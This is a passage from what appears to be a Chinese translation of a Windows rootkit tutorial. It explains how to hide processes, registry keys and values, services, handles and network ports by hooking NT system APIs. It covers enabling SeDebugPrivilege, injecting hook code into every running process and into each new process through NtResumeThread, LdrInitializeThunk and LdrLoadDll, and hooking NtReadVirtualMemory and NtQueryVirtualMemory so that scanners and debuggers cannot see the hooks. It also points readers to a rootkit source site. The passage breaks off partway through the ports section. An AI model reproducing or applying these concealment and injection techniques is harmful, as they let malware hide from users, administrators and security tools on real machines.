       VM_COUNTERS VmCounters;
       IO_COUNTERS IoCounters;             // 只使用于Windows 2000
       SYSTEM_THREADS Threads[1];
   } SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;

隐藏进程和隐藏文件类似。我们需要改变要隐藏进程的前一记录的NextEntryData字段。通常
我们不会隐藏第一个记录,因为那通常是Idle进程。

=====[ 5. 注册表 ]==============================================================

Windows注册表是一个庞大的树结构,它包含了两个我们可以隐藏的重要的记录类型。第一个
类型是键,第二个是键值。由于注册表的结构,隐藏注册键比隐藏文件和进程要复杂一些。

=====[ 5.1 NtEnumerateKey ]=====================================================

由于注册表的结构,我们不能得到注册表某个指定部分的所有键的列表。我们只能够通过指
定键的索引得到相应信息。这个有NtEnumerateKey提供。

   NTSTATUS NtEnumerateKey(
       IN HANDLE KeyHandle,
       IN ULONG Index,
       IN KEY_INformATION_CLASS KeyInformationClass,
       OUT PVOID KeyInformation,
       IN ULONG KeyInformationLength,
       OUT PULONG ResultLength
   );
  
KeyHandle是我们要通过Index索引的子键的的句柄,我们要从这个子键中获得信息。返回信
息的类型由KeyInformationClass指定。数据被写入KeyInformation缓冲,其大小由Key-
InformationLength指定。写入的字节数返回到ResultLength中。

最主要的我们要注意到的是如果我们隐藏了一个键,所有的键的索引都会改变。并且因为我
们可以通过一个低索引的记录得到一个高索引的记录,所以我们通常要计算在这个记录之前
我们隐藏了多少个记录然后返回一个正确的值。

让我们看一个例子。假定我们的注册表中有一些键叫做A,B,C,D,E和F。从0开始为它们编
号,也就是说键E的索引为4。现在如果我们想要隐藏键B然后当被挂钩的NtEnumerateKey函数
以Index为4被调用时我们应该返回F,因为这里要进行索引的改变。问题是我们并不知道这里
需要进行改变。并且如果我们不管这个改变并当请求索引为4的键时我们返回了E而不是F,那
么当查询索引为1的键的时候我们会什么都不返回或者返回C。这两种情况都是错误的。这就
是为什么我们要考虑索引的改变。

现在如果我们通过重新调用函数为每个键计算偏移我们有时会等很长时间(在1G赫兹处理器
上对于标准的注册表这会占用10秒钟的时间)。所以我们必须想一些奇特的方法。

我们知道键是根据字母表排序的(引用除外)。如果我们忽略引用(这个我们也不想要隐藏)
我们可以用下面的方法计算偏移。我们把我们要隐藏的键的名字按字母表排序(可以用Rtl-
CompareUnicodeString函数),然后当应用程序调用NtEnumerateKey我们不用以不变的参数
重新调用函数而是找到Index指定的记录的名字。

   NTSTATUS RtlCompareUnicodeString(      
       IN PUNICODE_STRING String1,
       IN PUNICODE_STRING String2,
       IN BOOLEAN  CaseInSensitive  
   );

String1和String2是需要比较的字符串,如果我们要忽略字符的大小写可以把CaseInSensi-
tive置为真。

函数返回值描述了String1和String2的关系:

返回值 > 0:  String1 > String2
返回值 = 0:  String1 = String2
返回值 < 0:  String1 < String2

现在我们需要找到一个边界。我们要对由Index指定的键名和我们列表里的键名进行字母比
较。我们知道,偏移的最大值就是我们的列表中键的数量。但是并不是我们列表中的所有项
对应注册表的其中一部分都有效。所以我们要看我们列表中的每一项是否在注册表的这个部
分里。我们可以用NtOpenKey。

   NTSTATUS NtOpenKey(
       OUT PHANDLE KeyHandle,
       IN ACCESS_MASK DesiredAccess,
       IN POBJECT_ATTRIBUTES ObjectAttributes
   );

KeyHandle是一个主键的句柄。我们可以使用NtEnumerateKey返回的值。DesiredAccess是访
问权限。应该用KEY_ENUMERATE_SUB_KEYS来填写这个字段。ObjectAttributes描述了我们要
打开的子键(包括它的名字)。

   #define KEY_ENUMERATE_SUB_KEYS 8
  
如果NtOpenKey返回的结果是0说明打开成功,表示我们列表中的这个键存在。打开的键要通
过NtClose关闭。

   NTSTATUS NtClose(
       IN HANDLE Handle
   );
  
对于每个NtEnumerateKey调用我们都要计算相对列表中的存在于注册表给定区域的键的偏
移。然后我们把这个偏移加到Index参数上然后调用原始的NtEnumerateKey函数。

为了得到Index指定的键的名字,我们可以使用KeyBasicInformation作为KeyInformation-
Class的值。

   #define KeyBasicInformation 0
  
NtEnumerateKey在KeyInformation中返回这个结构:

   typedef struct _KEY_BASIC_INformATION {
       LARGE_INTEGER LastWriteTime;
       ULONG titleIndex;
       ULONG NameLength;
       WCHAR Name[1];            
   } KEY_BASIC_INformATION, *PKEY_BASIC_INformATION;
  
在这里我们需要的只是Name和它的长度NameLength。

如果没有属于偏移后的Index对应的入口,我们要返回一个错误码STATUS_EA_LIST_INCONSIS-
TENT。

   #define STATUS_EA_LIST_INCONSISTENT 0×80000014
  
  
=====[ 5.2 NtEnumeratevalueKey ]================================================

注册表的键值不是按字母表排序的。幸运的是一个键下的键值不是很多,所以我们可以通过
重新调用的方法得到偏移。获得键值的API是NtEnumeratevalueKey.。

   NTSTATUS NtEnumeratevalueKey(
       IN HANDLE KeyHandle,
       IN ULONG Index,
       IN KEY_value_INformATION_CLASS KeyvalueInformationClass,
       OUT PVOID KeyvalueInformation,
       IN ULONG KeyvalueInformationLength,
       OUT PULONG ResultLength
   );
  
KeyHandle还是主键的句柄。Index是一个给定键的键值列表中的索引。KeyvalueInformation-
Class描述了要存入KeyValyeInformate缓冲的信息的类型,其长度由KeyvalueInformation-
Length指定。写入的字节数返回到ResultLength中。

我们要再一次计算偏移,但是这次是根据一个键下的键值数量然后从0序号到Index重新调用
这个函数。当KeyvalueInformationClass被设置成KeyvalueBasicInformation时可以得到键
值的名字。

   #define KeyvalueBasicInformation 0
  
然后我们在KeyvalueInformation缓冲中得到如下结构:

   typedef struct _KEY_value_BASIC_INformATION {
       ULONG titleIndex;
       ULONG Type;
       ULONG NameLength;
       WCHAR Name[1];
   } KEY_value_BASIC_INformATION, *PKEY_value_BASIC_INformATION;
  
再一次,我们只关心Name和Namelength字段。

如果没有属于偏移后的Index对应的入口,我们要返回一个错误码STATUS_NO_MORE_ENTRIES。

   #define STATUS_NO_MORE_ENTRIES 0×8000001A
  
  
=====[ 6. 系统服务和驱动 ]======================================================

系统服务和驱动可以通过四个独立的API枚举。他们的联系在每个不同版本的Windows系统中
都不同。所以我们必须挂钩这四个函数。

   BOOL EnumServicesStatusA(
       SC_HANDLE hSCManager,
       DWORD dwServiceType,
       DWORD dwServiceState,
       LPENUM_SERVICE_STATUS lpServices,
       DWORD cbBufSize,
       LPDWORD pcbBytesNeeded,
       LPDWORD lpServicesReturned,
       LPDWORD lpResumeHandle
   );

   BOOL EnumServiceGroupW(
       SC_HANDLE hSCManager,
       DWORD dwServiceType,
       DWORD dwServiceState,
       LPBYTE lpServices,
       DWORD cbBufSize,
       LPDWORD pcbBytesNeeded,
       LPDWORD lpServicesReturned,
       LPDWORD lpResumeHandle,
       DWORD dwUnknown
   );

   BOOL EnumServicesStatusExA(
       SC_HANDLE hSCManager,
       SC_ENUM_TYPE InfoLevel,
       DWORD dwServiceType,
       DWORD dwServiceState,
       LPBYTE lpServices,
       DWORD cbBufSize,
       LPDWORD pcbBytesNeeded,
       LPDWORD lpServicesReturned,
       LPDWORD lpResumeHandle,
       LPCTSTR pszGroupName
   );

   BOOL EnumServicesStatusExW(
       SC_HANDLE hSCManager,
       SC_ENUM_TYPE InfoLevel,
       DWORD dwServiceType,
       DWORD dwServiceState,
       LPBYTE lpServices,
       DWORD cbBufSize,
       LPDWORD pcbBytesNeeded,
       LPDWORD lpServicesReturned,
       LPDWORD lpResumeHandle,
       LPCTSTR pszGroupName
   );
  
这里最重要的是lpService,它指向将存放服务列表的缓冲。同时,lpServicesReturned指向
记录个数,也很重要。输出到缓冲的数据结构要依赖于不同的功能。对于EnumServicesStatusA
和EnumServicesGroupW将返回如下结构:

   typedef struct _ENUM_SERVICE_STATUS {
       LPTSTR lpServiceName;
       LPTSTR lpDisplayName;
       SERVICE_STATUS ServiceStatus;
   } ENUM_SERVICE_STATUS, *LPENUM_SERVICE_STATUS;

   typedef struct _SERVICE_STATUS {
       DWORD dwServiceType;
       DWORD dwCurrentState;
       DWORD dwControlsAccepted;
       DWORD dwWin32ExitCode;
       DWORD dwServiceSpecificExitCode;
       DWORD dwCheckPoint;
       DWORD dwWaitHint;
   } SERVICE_STATUS, *LPSERVICE_STATUS;
  
对于EnumServicesStatusExA和EnumServicesStatusExW是:

   typedef struct _ENUM_SERVICE_STATUS_PROCESS {
       LPTSTR lpServiceName;
       LPTSTR lpDisplayName;
       SERVICE_STATUS_PROCESS ServiceStatusProcess;
   } ENUM_SERVICE_STATUS_PROCESS, *LPENUM_SERVICE_STATUS_PROCESS;

   typedef struct _SERVICE_STATUS_PROCESS {
       DWORD dwServiceType;
       DWORD dwCurrentState;
       DWORD dwControlsAccepted;
       DWORD dwWin32ExitCode;
       DWORD dwServiceSpecificExitCode;
       DWORD dwCheckPoint;
       DWORD dwWaitHint;
       DWORD dwProcessId;
       DWORD dwServiceFlags;
   } SERVICE_STATUS_PROCESS, *LPSERVICE_STATUS_PROCESS;
  
我们指关心lpServiceName,这个是系统服务的名字。记录有一个静态的大小,所以如果我们
想要隐藏一个记录,我们就要根据记录的大小移动后面所有的记录。这里我们必须要区分清
SERVICE_STATUS和SERVICE_STATUS_PROCESS的大小。

=====[ 7. 挂钩和展开 ]==========================================================

为了达到我们想要的效果,我们必须挂钩所有运行进程和所有将产生的进程。新进程必须在
它运行它自己的第一条指令前被挂钩,否则在它被挂钩前它就能够看到我们隐藏的对象。

=====[ 7.1 权限 ]================================================================

首先,应该先知道我们至少需要管理员权限来得到所有运行进程的访问权。最好的办法就是
以系统服务的方式、以SYSTEM的身份来运行我们的进程。要安装服务,我们同样需要特殊的
权限。

同时,得到SeDebugPrivilege是很有用的。这个可以通过OpenProcessToken,LookupPrivilege-
value和AdjustTokenPrivileges这些API来达到。

   BOOL OpenProcessToken(
       HANDLE ProcessHandle,
       DWORD DesiredAccess,
       PHANDLE TokenHandle
   );

   BOOL LookupPrivilegevalue(
       LPCTSTR lpSystemName,
       LPCTSTR lpName,
       PLUID lpLuid
   );

   BOOL AdjustTokenPrivileges(
       HANDLE TokenHandle,
       BOOL DisableAllPrivileges,
       PTOKEN_PRIVILEGES NewState,
       DWORD BufferLength,
       PTOKEN_PRIVILEGES PreviousState,
       PDWORD ReturnLength
   );
  
忽略错误,这个代码可以写成下面这样:

   #define SE_PRIVILEGE_ENABLED        0×0002
   #define TOKEN_QUERY                 0×0008
   #define TOKEN_ADJUST_PRIVILEGES     0×0020

   HANDLE hToken;
   LUID DebugNamevalue;
   TOKEN_PRIVILEGES Privileges;
   DWORD dwRet;

   OpenProcessToken(GetCurrentProcess(),
                    TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,hToken);
   LookupPrivilegevalue(NULL,”SeDebugPrivilege”,&DebugNamevalue);
   Privileges.PrivilegeCount=1;
   Privileges.Privileges[0].Luid=DebugNamevalue;
   Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
   AdjustTokenPrivileges(hToken,FALSE,&Privileges,sizeof(Privileges),
                         NULL,&dwRet);
   CloseHandle(hToken);
  

=====[ 7.2 全局钩子 ]============================================================

枚举进程的问题在前面讲NtQuerySystemInformation这个API的时候已经解决了。系统中有一
些本地进程,所以我们可以通过改写函数的第一条指令的方法来挂钩他们。对于每一个运行
程我们都必须要这么做。我们要在目标进程中分配一块内存,在这里写入我们要挂钩的函数
的新的代码。然后我们用jmp指令来改写这些函数的第一个指令。这个跳转把执行重定位到
我们的代码。所以当被挂钩的函数被调用的时候这个jmp指令会被立即执行。我们必须要保
存每个函数的被改写的第一条指令。我们需要它们去调用原始的被挂钩的函数。保存指令在
我的“挂钩Windows API”一文的第3.2.3节中有描述。

首先我们要通过NtOpenProcess打开目标进程并且得到句柄。如果我们没有足够的权限这会
失败。

   NTSTATUS NtOpenProcess(
       OUT PHANDLE ProcessHandle,
       IN ACCESS_MASK DesiredAccess,
       IN POBJECT_ATTRIBUTES ObjectAttributes,
       IN PCLIENT_ID ClientId OPTIONAL
   );

ProcessHandle是一个指向返回句柄的指针。DesiredAccess应该被设置成PROCESS_ALL_
ACCESS。我们可以把目标进程的PID设置成ClientId结构的UniqueProcess值,Unique-
Thread应该为0。打开的句柄总是可以通过NtClose函数关闭。

   #define PROCESS_ALL_ACCESS 0×001F0FFF
  
现在我们要为我们的代码分配内存。这个可以通过NtAllocateVirtualMemory实现。

   NTSTATUS NtAllocateVirtualMemory(
       IN HANDLE ProcessHandle,
       IN OUT PVOID BaseAddress,
       IN ULONG ZeroBits,
       IN OUT PULONG AllocationSize,
       IN ULONG AllocationType,
       IN ULONG Protect
   );
  
ProcessHandle就是NtOpenProcess返回的句柄。BaseAddress是一个指向内存开始处的指针。
这里存放着分配的内存的地址。输入值可以为NULL。AllocationSize是一个指向我们想要申
请的内存大小的指针。同时,它还用来返回分配内存的实际大小。最好把AllocationType设
置成MEM_TOP_DOWN和MEM_COMMIT,因为这样会分配到尽可能靠近动态链接库的高地址。

   #define MEM_COMMIT      0×00001000
   #define MEM_TOP_DOWN    0×00100000
  
然后我们可以用NtWriteVirtualMemory把我们的代码写进去。

   NTSTATUS NtWriteVirtualMemory(
       IN HANDLE ProcessHandle,
       IN PVOID BaseAddress,
       IN PVOID Buffer,
       IN ULONG BufferLength,
       OUT PULONG ReturnLength OPTIONAL
   );

BaseAddress就是NtAllocateVirtualMemory返回的地址。Buffer指向了函数写入的字节数,
BufferLength是我们要写入的字节数。

现在我们要挂钩单一函数。只有ntdll.dll是每个进程都要加载的。所以我们我们检查我们
要挂钩的ntdll.dll中的函数是不是被进程引入了。但是这个函数(在其他DLL中)在内存中
放置的位置是可分配的,所以在这个地址上改写很容易在目标进程中引发错误。这就是为什
么我们要检查这个库(存放我们要挂钩的函数的地方)是否被目标进程加载了。

我们要通过NtQueryInformationProcess得到目标进程的PEB(进程环境块)。

   NTSTATUS NtQueryInformationProcess(
       IN HANDLE ProcessHandle,
       IN PROCESSINFOCLASS ProcessInformationClass,
       OUT PVOID ProcessInformation,
       IN ULONG ProcessInformationLength,
       OUT PULONG ReturnLength OPTIONAL
   );

我们要把ProcessInformationClass设置成ProcessBasicInformation。然后PROCESS_BASIC_
INformATION结构返回到ProcessInformation缓冲,其大小有ProcessInformationLength指定。

   #define ProcessBasicInformation 0

   typedef struct _PROCESS_BASIC_INformATION {
       NTSTATUS ExitStatus;
       PPEB PebBaseAddress;
       KAFFINITY AffinityMask;
       KPRIORITY BasePriority;
       ULONG UniqueProcessId;
       ULONG InheritedFromUniqueProcessId;
   } PROCESS_BASIC_INformATION, *PPROCESS_BASIC_INformATION;
  
PebBaseAddress是我们想要的。在PebBaseAddress + 0×0c的地方是PPEB_LDR_DATA的地址。
这个可以通过NtReadVirtualMemory调用得到。

   NTSTATUS NtReadVirtualMemory(
       IN HANDLE ProcessHandle,
       IN PVOID BaseAddress,
       OUT PVOID Buffer,
       IN ULONG BufferLength,
       OUT PULONG ReturnLength OPTIONAL
   );

参数和NtWriteVirtualMemory函数相似。

在PPEB_LDR_DATA + 0×1c的地方是InInitializationOrderModuleList的地址。这是进程加载
的链接库的列表。我们只关心这个结构的一部分。

   typedef struct _IN_INITIALIZATION_ORDER_MODULE_LIST {
       PVOID Next,
       PVOID Prev,
       DWORD ImageBase,
       DWORD ImageEntry,
       DWORD ImageSize,
       …
   );
  
Next是一个指向下一个记录的指针,Prev指向前一个记录,最后一个记录指向第一个。
ImageBase是模块在内存中的地址,ImageEntry是模块的入口,ImageSize是其大小。

对于所有我们有挂钩的库我们都要得到它的ImageBase(比如用GetModuleHandle或者Load-
Library)。我们用这个ImageBase和InInitializationOrderModuleList中的每个入口进行
比较。

现在我们已经为挂钩做好准备了。因为我们要挂钩运行中的进程,有一个可能是我们的代码
可能在被改写的同时被执行。这会发生错误,所以首先我们要停止目标进程中的所有线程。
可以通过在第四节中描述的NtQuerySystemInformation的SystemProcessAndThreadsInformation
类型得到线程列表。但是我们要描述一下用来存放线程信息的SYSTEM_THREADS结构。

   typedef struct _SYSTEM_THREADS {
       LARGE_INTEGER KernelTime;
       LARGE_INTEGER UserTime;
       LARGE_INTEGER CreateTime;
       ULONG WaitTime;
       PVOID StartAddress;
       CLIENT_ID ClientId;
       KPRIORITY Priority;
       KPRIORITY BasePriority;
       ULONG ContextSwitchCount;
       THREAD_STATE State;
       KWAIT_REASON WaitReason;
   } SYSTEM_THREADS, *PSYSTEM_THREADS;
  
对每个线程我们要通过NtOpenThread得到其句柄。我们要对它使用ClientId。

   NTSTATUS NtOpenThread(
       OUT PHANDLE ThreadHandle,
       IN ACCESS_MASK DesiredAccess,
       IN POBJECT_ATTRIBUTES ObjectAttributes,
       IN PCLIENT_ID ClientId
   )
  
我们要获得的句柄存储在ThreadHandle中。我们要把DesiredAccess设置成THREAD_SUSPEND_
RESUME。

   #define THREAD_SUSPEND_RESUME 2
  
ThreadHandle用来调用NtSuspendThread。

   NTSTATUS NtSuspendThread(
       IN HANDLE ThreadHandle,
       OUT PULONG PreviousSuspendCount OPTIONAL
   );

挂起的线程就可以准备改写了。我们像“挂钩Windows API”中第3.2.2节中讲述的那样进
行。唯一的不同是这次我们是对其他进程使用。

挂钩完毕后我们通过NtResumeThread唤醒进程的所有线程。

   NTSTATUS NtResumeThread(
       IN HANDLE ThreadHandle,
       OUT PULONG PreviousSuspendCount OPTIONAL
   );
  
  
=====[ 7.3 新进程 ]==============================================================

对所有运行线程的感染不会影响之后运行的进程。我们可以获得进程列表然后过一会儿再获
得一次然后比较他们并感染那些出现在第二个列表而没有出现在第一个列表中的进程。但是
这种方法很不可靠。

更好一点的办法是挂钩那些当新进程开始时总会被调用的函数。因为我们挂钩了系统中的所
有进程,所以用这种方法我们不会漏掉任何一个新进程。我们可以挂钩NtCreateThread但这
不是最早的办法。我们可以挂钩NtResumeThread,这个函数在每当有一个新进程被创建的时
候也会被调用。它在NtCreateThread之后被调用。

NtResumeThread唯一的问题是不仅仅是创建新进程时会被调用。但是我们可以很容易地克服
它。NtQueryInformationThread会给我们一个关于哪个进程所有一个指定线程的信息。我们
要做的最后一件事是检查这个进程是否已经被挂钩了。这个可以通过读取我们要挂钩的任意
函数来完成。

   NTSTATUS NtQueryInformationThread(
       IN HANDLE ThreadHandle,
       IN THREADINFOCLASS ThreadInformationClass,
       OUT PVOID ThreadInformation,
       IN ULONG ThreadInformationLength,
       OUT PULONG ReturnLength OPTIONAL
   );
  
ThreadInformationClass是信息类,我们要把它设置为ThreadBasicInformation。Thread-
Information是返回结果的缓冲,其大小为ThreadInformationLength。

   #define ThreadBasicInformation 0

对于ThreadBasicInformation,返回如下结构:

   typedef struct _THREAD_BASIC_INformATION {
       NTSTATUS ExitStatus;
       PNT_TIB TebBaseAddress;
       CLIENT_ID ClientId;
       KAFFINITY AffinityMask;
       KPRIORITY Priority;
       KPRIORITY BasePriority;
   } THREAD_BASIC_INformATION, *PTHREAD_BASIC_INformATION;
  
ClientId就是拥有这个线程的PID。现在我们要感染一个新进程。问题是这个新进程在内存
中只有ntdll.dll。其他模块是在调用完NtResumeThread后立即加载的。可以有几种方法来
解决这个问题。比如,我们可以挂钩LdrInitializeThunk这个API,它在进程初始化时被调
用。

   NTSTATUS LdrInitializeThunk(
       DWORD Unknown1,
       DWORD Unknown2,
       DWORD Unknown3
   );
  
首先我们运行原始的代码,然后我们挂钩新进程中所有我们要挂钩的函数。但是最好解除对
LdrInitializeThunk的挂钩因为这个函数以后还有被调用很多次我们不希望重新挂钩所有的
函数。在被挂钩的程序执行第一条之前我们已经完成了所有的事。这就是为什么它没有机会
在被挂钩之前调用被挂钩的函数。

挂钩自身和挂钩执行进程是一样的。这里我们不考虑执行线程。

=====[ 7.4 DLL ]=================================================================

系统中每一个进程都有一个ntdll.dll的拷贝。这就意味着我们可以在进程初始化时挂钩这个
模块中的任何函数。但是其他的来自kernel32.dll或者advapi32.dll中的函数呢?而且有一
些进程只有ntdll.dll。其他的库都可以在进程被挂钩后在代码中动态地加载。这就是为什么
我们要挂钩LdrLoadDll,它用来加载新模块。

   NTSTATUS LdrLoadDll(
       PWSTR szcwPath,
       PDWORD pdwLdrErr,      
       PUNICODE_STRING pUniModuleName,
       PHINSTANCE pResultInstance
   );

这里对我们最重要的是pUniModuleName,这里存放了模块的名字。如果调用成功pResultIn-
stance被填充为它的内存地址。

我们可以调用原始的LdrLoadDll然后挂钩所有的被加载模块中的函数。

=====[ 8. 内存 ]================================================================

当我们挂钩一个函数时我们改变它的前几个字节。通过调用函数NtReadVirtualMemory,我们
可以检测一个函数是否被挂钩了。所以我们还要挂钩NtReadVirtualMemory以防止被检测出。

   NTSTATUS NtReadVirtualMemory(
       IN HANDLE ProcessHandle,
       IN PVOID BaseAddress,
       OUT PVOID Buffer,
       IN ULONG BufferLength,
       OUT PULONG ReturnLength OPTIONAL
   );
  
我们已经改变了我们要挂钩函数的前几个字节,并为我们的代码申请了内存。我们应该检查
调用者是否读了这些字节。如果在BaseAddress到BaseAddress+BufferLength的范围内有我们
的代码,我们就必须改变Buffer中的字节。

如果用户请求读取我们申请的内存中的数据我们要返回空和一个STATUS_PARTIAL_COPY错误
码。这个值说明不是所有请求的内存都被复制到了Buffer中。这个值同时用来描述请求未分
配空间。这种情况ReturnLength应设置为0。

   #define STATUS_PARTIAL_COPY 0×8000000D
  
如果用户请求读取被挂钩函数的前几个字节,我们要调用原始代码并且要把原始字节复制到
Buffer中(这几个字节我们为了调用原始函数而保存)。

现在进程已经无法通过读取自己的内存检测到它已经被挂钩了。而且如果调式被挂钩的进程
时也会遇到困难。它呈现在你面前的是原始代码但却执行我们的代码。

为了能更完美地隐藏,我们还可以挂钩NtQueryVirtualMemory。这个函数用来获得关于虚拟
内存的信息。我们可以挂钩它来防止我们申请的内存被检测到。

   NTSTATUS NtQueryVirtualMemory(
       IN HANDLE ProcessHandle,
       IN PVOID BaseAddress,
       IN MEMORY_INformATION_CLASS MemoryInformationClass,
       OUT PVOID MemoryInformation,
       IN ULONG MemoryInformationLength,
       OUT PULONG ReturnLength OPTIONAL
   );

MemoryInformationClass指定了返回的数据类。我们对前面的两个类型感兴趣。

   #define MemoryBasicInformation 0
   #define MemoryWorkingSetList 1
  
对于MemoryBasicInformation类返回如下结构:

   typedef struct _MEMORY_BASIC_INformATION {
       PVOID BaseAddress;
       PVOID AllocationBase;
       ULONG AllocationProtect;
       ULONG RegionSize;
       ULONG State;
       ULONG Protect;
       ULONG Type;
   } MEMORY_BASIC_INformATION, *PMEMORY_BASIC_INformATION;
  
每一个内存单元区间都有自己的RegionSize和自己的类型Type。空闲内存的类型为MEM_FREE。

   #define MEM_FREE 0×10000
  
如果我们之前的区域为MEM_FREE,我们应该把我们的代码区间的大小加到它的RegionSize上。
如果我们后面的区域为MEM_FREE,我们应该再把这个区间的大小再加到前面的RegionSize上。

如果我们前面的区间为别的类型,我们对我们的区间返回MEM_FREE。它的大小同样要根据后
面的区间属性来确定。

对于MemoryWorkingSetList类,返回如下结构:

   typedef struct _MEMORY_WORKING_SET_LIST {
       ULONG NumberOfPages;
       ULONG WorkingSetList[1];
   } MEMORY_WORKING_SET_LIST, *PMEMORY_WORKING_SET_LIST;
  
NumberOfPages是WorkingSetList中的项数。这个数应该被减小。我们要在WorkingSetList
中找到我们的区间然后用后面的记录覆盖我们的。WorkingSetList是一个DWORD数组,其中
高20位指定了区间的高20位地址,底12位指定为标志。

=====[ 9. 句柄 ]================================================================

通过SystemHandleInformation类调用NtQuerySystemInformation我们可以得到一个所有打开
的句柄,它存放在_SYSTEM_HANDLE_INformATION_EX结构中。

   #define SystemHandleInformation 0×10

   typedef struct _SYSTEM_HANDLE_INformATION {
       ULONG ProcessId;
       UCHAR ObjectTypeNumber;
       UCHAR Flags;
       USHORT Handle;
       PVOID Object;
       ACCESS_MASK GrantedAccess;
   } SYSTEM_HANDLE_INformATION, *PSYSTEM_HANDLE_INformATION;

   typedef struct _SYSTEM_HANDLE_INformATION_EX {
       ULONG NumberOfHandles;
       SYSTEM_HANDLE_INformATION Information[1];
   } SYSTEM_HANDLE_INformATION_EX, *PSYSTEM_HANDLE_INformATION_EX;
  
ProcessId指定了拥有该句柄的进程。ObjectTypeNumber是句柄类型。NumberOfHandles存放
的是Information数组中的记录个数。隐藏一个句柄很简单。我们不得不把后面的所有记录
提前并减小NumberOfHandles的值。必须要把后面的所有项提前,因为这个数组是一个由
ProcessId组成的组。这就意味着一个进程的所有句柄都是在一起的。并且对于一个进程,
其句柄的个数是在不断增长的。

现在回想一下这个函数由SystemProcessesAndThreadsInformation类返回的_SYSTEM_PROCESS
结构。这里我们可以看到每一个进程都有一个关于其句柄个数的值存放在HandleCount中。
如果我们要完美地隐藏,我们还要在以SystemProcessesAndThreadsInformation类调用这个
函数时根据我们隐藏的句柄个数改写HandleCount。但是这个改变对时间的要求是很高的。
系统正常运行时,在很短的时间内会有很多的句柄打开和关闭。所以经常发生这样的情况,
在这个函数的调用中间句柄的个数改变了,但我们不需要改变HandleCount的值。

=====[ 9.1 命名句柄并获得类型 ]=================================================

隐藏句柄很简单,但找到想要隐藏的句柄要难一些。比如如果我们隐藏了一个进程我们就要
隐藏它的所有句柄以及所有指向它的句柄。隐藏这个进程的句柄也很简单。我们只需要比较
句柄的ProcessId和我们的进程的PID,当它们相等的时候我们就隐藏它。但是对于其他进程
的句柄,它首先必须是命名的然后我们才可以进行比较。系统中的句柄数通常很多,所以我
们最好在比较命名前先比较句柄的类型。命名类型可以为我们省去很多搜索我们不关心的句
柄的时间。

命名句柄和命名类型可以通过调用NtQueryObject得到。

   NTSTATUS ZwQueryObject(
       IN HANDLE ObjectHandle,
       IN OBJECT_INformATION_CLASS ObjectInformationClass,
       OUT PVOID ObjectInformation,
       IN ULONG ObjectInformationLength,
       OUT PULONG ReturnLength OPTIONAL
   );
  
ObjectHandle是一个我们要获得信息的句柄,ObjectInformationClass是将被存储在Object-
Information缓冲中的信息的类型,其长度为ObjectInformationLength字节长。

   #define ObjectNameInformation 1
   #define ObjectAllTypesInformation 3

   typedef struct _OBJECT_NAME_INformATION {
       UNICODE_STRING Name;
   } OBJECT_NAME_INformATION, *POBJECT_NAME_INformATION;
  
Name字段指明了句柄的名称。

   typedef struct _OBJECT_TYPE_INformATION {
       UNICODE_STRING Name;
       ULONG ObjectCount;
       ULONG HandleCount;
       ULONG Reserved1[4];
       ULONG PeakObjectCount;
       ULONG PeakHandleCount;
       ULONG Reserved2[4];
       ULONG InvalidAttributes;
       GENERIC_MAPPING GenericMapping;
       ULONG ValidAccess;
       UCHAR Unknown;
       BOOLEAN MaintainHandleDatabase;
       POOL_TYPE PoolType;
       ULONG PagedPoolUsage;
       ULONG NonPagedPoolUsage;
   } OBJECT_TYPE_INformATION, *POBJECT_TYPE_INformATION;

   typedef struct _OBJECT_ALL_TYPES_INformATION {
       ULONG NumberOfTypes;
       OBJECT_TYPE_INformATION TypeInformation;
   } OBJECT_ALL_TYPES_INformATION, *POBJECT_ALL_TYPES_INformATION;

Name字段指明了紧后面的每个OBJECT_TYPE_INformATION结构的对象类型名。下一个OBJECT_
TYPE_INformATION结构也是这个名字,在开始的四字节边界处。

SYSTEM_HANDLE_INformATION结构中的ObjectTypeNumber是一个TypeInformation数组的索引。

难的是寻找别的进程的句柄。有两种可能的方法去命名它。第一是把这个句柄通过NtDupli-
cateObject复制到我们的进程然后命名它。这个方法对一些特定类型的句柄不起作用。但是
这只是少数情况,所以我们可以不必紧张。

   NtDuplicateObject(
       IN HANDLE SourceProcessHandle,
       IN HANDLE SourceHandle,
       IN HANDLE TargetProcessHandle,
       OUT PHANDLE TargetHandle OPTIONAL,
       IN ACCESS_MASK DesiredAccess,
       IN ULONG Attributes,
       IN ULONG Options
   );
  
SourceProessHandle是一个拥有SourceHandle的进程的句柄,SourceHandle就是我们要复制
的句柄。TargetProcessHandle是要复制到的进程的句柄。在我们使用的情况下这就是我们的
进程句柄。TargetHandle是一个指向原始句柄副本的指针。DesiredAccess应该设置为PROCESS
_QUERY_INformATION,Attributes和Options应为0。

第二种命名方法是使用系统驱动,它可以对任何句柄其作用。这个的源代码在OpHandle项目
中涉及,可以在我的网站http://rootkit.host.sk找到。

=====[ 10. 端口 ]===============================================================

最简单的枚举打开句柄的方法是使用AllocateAndGetTcpTableFromStack和AllocateAndGet-
UdpTableFromStack调用,或者调用iphlpapi.dll中的AllocateAndGetTcpExTableFromStack
和AllocateAndGetUdpExTableFromStack。Ex函数从XP后才有效。

   typedef struct _MIB_TCPROW {
       DWORD dwState;
       DWORD dwLocalAddr;
       DWORD dwLocalPort;
       DWORD dwRemoteAddr;
       DWORD dwRemotePort;
   } MIB_TCPROW, *PMIB_TCPROW;

   typedef struct _MIB_TCPTABLE {
       DWORD dwNumEntries;
       MIB_TCPROW table[ANY_SIZE];
   } MIB_TCPTABLE, *PMIB_TCPTABLE;

   typedef struct _MIB_UDPROW {
       DWORD dwLocalAddr;
       DWORD dwLocalPort;
   } MIB_UDPROW, *PMIB_UDPROW;

   typedef struct _MIB_UDPTABLE {
       DWORD dwNumEntries;
       MIB_UDPROW table[ANY_SIZE];
   } MIB_UDPTABLE, *PMIB_UDPTABLE;

   typedef struct _MIB_TCPROW_EX
   {
       DWORD dwState;
       DWORD dwLocalAddr;
       DWORD dwLocalPort;
       DWORD dwRemoteAddr;
       DWORD dwRemotePort;
       DWORD dwProcessId;
   } MIB_TCPROW_EX, *PMIB_TCPROW_EX;

   typedef struct _MIB_TCPTABLE_EX
   {
       DWORD dwNumEntries;
       MIB_TCPROW_EX table[ANY_SIZE];
   } MIB_TCPTABLE_EX, *PMIB_TCPTABLE_EX;

   typedef struct _MIB_UDPROW_EX
   {
       DWORD dwLocalAddr;
       DWORD dwLocalPort;
       DWORD dwProcessId;
   } MIB_UDPROW_EX, *PMIB_UDPROW_EX;

   typedef struct _MIB_UDPTABLE_EX
   {
       DWORD dwNumEntries;
       MIB_UDPROW_EX table[ANY_SIZE];
